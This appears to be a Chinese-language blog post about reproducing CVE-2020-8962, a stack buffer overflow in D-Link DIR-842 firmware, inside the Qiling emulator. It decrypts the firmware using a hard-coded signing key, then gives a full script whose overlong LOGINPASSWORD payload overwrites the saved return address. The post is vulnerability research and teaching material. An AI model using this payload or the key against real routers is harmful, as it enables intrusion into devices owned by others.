How to reproduce CVE-2020-8962 with Qiling Framework

2020-07-30 security Qiling CVE D-Link

進行著每天例行的快速新聞瀏覽,偶然看見 CVE-2020-8962 是一個跟 D-Link 有關的漏洞,自從開始貢獻 Qiling Framework 開始就沒少碰過 D-Link 了,於似乎就想重現一下漏洞。

下載最接近文章中所提及的版本後發現 binwalk 不認得,猜測是韌體被加密了,剛好之前做過一些韌體加解密的筆記,這邊就嘗試看看。

Firmware decryption

韌體加解密有很多種情境詳細的就不多說了,這篇解釋得很清楚,這邊簡單的總結一下

情況 出廠版本 中間版本 最新版本 備註
加密0 加密0 加密0 從出廠開始就一直是加密的狀態,且未換過加解密演算法
加密0 未加密 加密1 出廠就加密了但廠商突然想要更換加解密演算法
未加密 加密0 加密0 出廠時未加密,之後基於某種原因釋出了有加密的版本

由上表可知,第一種情況是最棘手的,但要如何確定除了DIR-842的情況呢? 撇除買一台新機器的選項,由官網提供的韌體下載可以發現DIR-842最舊的版本是沒加密的,看來是中間某一個版本突然加密了,也就是說我們在情況三

既然是情況三那就好辦了,必定存在一個中間版本是未加密且具有加解密演算法的,除了可以一個一個下載韌體使用 binwalk 暴力測試外,還可以透過 release note 來縮小範圍

下圖是 DIR-842 RevC 3.13 版的 release note

裡面提到若要升級到 3.13 版需要先安裝過度版本 v3.092b03_middle

這裡就得到了關鍵版本的線索,這個過渡版本應該就是未加密且具有加解密演算法的韌體版本

由官網下載 DIR-842 C1 FW v3.02_middle 後要怎麼找到加解密演算的的所在呢?

  1. 可以嘗試 grep 幾個關鍵字 encode, decode, encrypt, decrypt, openssl, fwupdate, update

  2. 一般常見的 SOHO Router 都有韌體更新頁面,所以往網頁檔案的方向找也可以縮減範圍

  3. 從網頁伺服器的 binary 中找到相關線索

在這個例子中最後定位到下方程式碼

// --- snip ---
// fw encimg 
setattr("/runtime/tmpdevdata/image_sign" ,"get","cat /etc/config/image_sign");
$image_sign = query("/runtime/tmpdevdata/image_sign");
                              
setattr("/runtime/tmpdevdata/encimg" ,"get","encimg -d -i ".$fw_path." -s ".$image_sign." > /dev/console \n");
query("/runtime/tmpdevdata/encimg");                                                
      
setattr("/runtime/chfw",  "get", "fwupdater -v ".$fw_path."; echo $?");
return get("","/runtime/chfw");
// --- snip --

第 6 行可以看到 encimg 這個指令負責解密或是解碼韌體檔案,fw_path 應該是韌體檔案路徑,image_sign 則為某種密鑰,順帶一提 image_sign 常常被 D-Link 系列拿來當作預設Telnet的密碼

同樣的方式找到了 encimg 位於 /usr/sbin/encimg 之後 Qiling 就派上用場了

from qiling import *

ql = Qiling(["squashfs-root/usr/sbin/encimg"], "squashfs-root", console=False)
ql.run()

簡單的三行程式碼將 encimg 跑起來看看,結果如下

可以看到出現 no signature specified! 的錯誤訊息之外,還有詳細的參數解釋跟剛剛的程式碼兩相對照,與一開始的猜測所差無幾

到了這裡基本上解密已經不是問題了,將加密過的韌體放到 squashfs-root 中,並稍微改一下 python script 就可以了

from qiling import *

ql = Qiling(["squashfs-root/usr/sbin/encimg", "-d",
            "-i", "DIR842C1_FW313WWb05.bin",
            "-s", "wrgac65_dlink.2015_dir842"], "squashfs-root", console=False)
ql.run()

下圖為執行前後對比,可以明顯看到原本什麼都不認得的 binwalk 在解密腳本執行完後,就可以正常辨識了

Reproduce the bug with Qiling Framework

根據分析文表示在 /MTFWU 這個路徑有 stack-based buffer overflow,詳細位置可以看原文分析,下面貼出我自己整理過的截圖

在 50 行處的 strcpy 直接將 LOGINPASSWORD 塞進堆疊裡並且沒有檢查長度,但是為了要走到這個路徑,還是需要分析一下前面幾個 function 像是 session_check, read_sessions 等等

這裡 Qiling 就可以大顯神威了,一般來說不管是用 firmadyne 或是 QEMU User-mode 都會面臨一些問題諸如: nvram 讀不到特定資料、特定檔案不存在、記憶體中某些資料不如預期之類雜七雜八的問題

這些都可能導致程式走不到我們預期的路徑,但 Qiling 是由 python 組成的,其最大特點就是高可互動性,基本上執行韌體分析就跟 coding & debug 沒兩樣,無論是下斷點或是存取記憶體資料絲毫不差

舉個例子,在session_check 中用到read_sessions 用來逐一讀取 /var/sessions 下的檔案,is_valid 則用來檢查該 session 是否有效,是否有效的依據也很簡單,就是呼叫 syscall sysinfo 然後比較一下 session 中的時間大小與 uptime 誰大,這裡就需要 hook syscall sysinfo 來控制 uptime 以通過檢查

通過 man 2 sysinfo 可以知道 struct sysinfo 是 64 bytes 而 uptime 就是前 4 bytes,跟逆向結果一致

於此,我們需要加入 hook sysinfo function 的相關程式碼, 並使用 python3 -c 'print("AAAA\x00"+"A"*0xbf)' > /var/session/c1 建立 /var/session/c1

def my_syscall_sysinfo(ql, sysinfo_info, *args, **kwargs):
    ql.mem.write(sysinfo_info, b"AAAA") # uptime
    regreturn = 0
    ql.log.info(f"sysinfo(0x{sysinfo_info:02x}) = {regreturn}")
    return regreturn

再來,因為程式使用 getenv 來取得封包相關的訊息,也需要將對應的字串放入環境變數中,還好 Qiling 可以很輕易地做到這件事情

envs = {
        "REQUEST_METHOD": "POST",
        "REQUEST_URI": "/MTFWU",
        "CONTENT_TYPE": "application/x-www-form-urlencoded",
        "HTTP_MTFWU_ACT": "Login",
        "HTTP_COOKIE": "uid=AAAA",
        }

同時,我們也追求整個模擬過程可以自動化進行無須人工介入,所以我們將 stdin 直接替換成一個 python object,讓我們可以在模擬程式需要 input 的時候,幫我們代勞

class Fake_stdin():
    def read(self, size, *args, **kwargs):
        # return payload for reading from stdin
        return b'ACTION=login&LOGINPASSWORD=' + b'A' * 0x248

    def fileno(self, *args, **kwargs):
        # return file descriptor
        return 0

最後,我們當然希望程式不要直接死去,最好是可以停留在 return 之前,讓我們可以觀察暫存器或是記憶體中的資料,這當然對 Qiling 來說跟喝水一樣簡單


# dump all registers
def dump_reg(ql, *args, **kwargs):
    for idx, val in ql.reg.save().items():
        if not isinstance(idx, int):
            print(idx, ":", hex(val))
            
    breakpoint()

ql.hook_address(dump_reg, 0x41d3f0) # breakpoint before return

將上面所提到的功能全部彙整到一起,就是一個可以引發 crash 的 python script 了

from qiling import *

# hook function for syscall sysinfo
def my_syscall_sysinfo(ql, sysinfo_info, *args, **kwargs):
    ql.mem.write(sysinfo_info, b"AAAA") # uptime
    regreturn = 0
    ql.log.info(f"sysinfo(0x{sysinfo_info:02x}) = {regreturn}")
    return regreturn

# dump all registers
def dump_reg(ql, *args, **kwargs):
    ql.log.info("="*0x10 + " register dump " + "="*0x10)
    for idx, val in ql.reg.save().items():
        if not isinstance(idx, int):
            ql.log.info(f"{idx}: {hex(val)}")
            
    breakpoint()

# fake stdin for sending payload
class Fake_stdin:
    def read(self, size, *args, **kwargs):
        return b'ACTION=login&LOGINPASSWORD=' + b'A' * 0x248

    def fileno(self, *args, **kwargs):
        return 0

if __name__ == "__main__":

    envs = {
            "REQUEST_METHOD": "POST",
            "REQUEST_URI": "/MTFWU",
            "CONTENT_TYPE": "application/x-www-form-urlencoded",
            "HTTP_MTFWU_ACT": "Login",
            "HTTP_COOKIE": "uid=AAAA",
            "CONTENT_LENGTH": str(27+0x248), 
            }

    ql = Qiling(["squashfs-root/usr/sbin/mtfwu"], "squashfs-root", 
                output="default",
                env=envs,           # setting environment variables 
                stdin=Fake_stdin()) # hijack stdin with Fake_stdin
                
    ql.set_syscall("sysinfo", my_syscall_sysinfo)  # syscall hook for sysinfo
    ql.set_syscall("_newselect", lambda *_: None)  # hook syscall _newselect with anonymous NOP function to avoid manual input requirement
    ql.hook_address(dump_reg, 0x41d3f0)            # breakpoint before return and dump all registers

    with open("squashfs-root/var/session/c1", "wb+") as fh: # setup propper session file
        fh.write(b"AAAA\x00" + b"A"*0xbf)                   # first four bytes were the UID in cookie

    ql.run()

備註: 因為程式有使用到 select 等待 stdin 輸入,所以用一個空匿名函數取代掉 ql_syscall__newselect,讓 script 可以直接由 Fake_stdin 讀到 input

整個不到 50 行的 python script 就可以把整個整個程式跑起來,並且斷點在 0x41d3f0,執行之後可以觀察到 $fp($s8)$ra 兩個暫存器都已經被覆蓋為 AAAA

Conclusion

Qiling Framework 是一個強大的跨平台且支援多架構的二進制分析工具,上面所提到的 feature 還只是冰山一角,他還有更多好用強大的功能,例如可以接上其他 debugger 像是 GDB、IDA Pro、Radare2 等,或是 partial execution 讓 Qiling 得以只執行 binary 裡面其中片段的程式碼,而不需要從頭到尾跑一遍,更多功能可以參考 Qiling Framework Documentation 或是 Github,沒有意外的話,未來還會有更多 feature 被加到 Qiling Framework 中,拭目以待。

References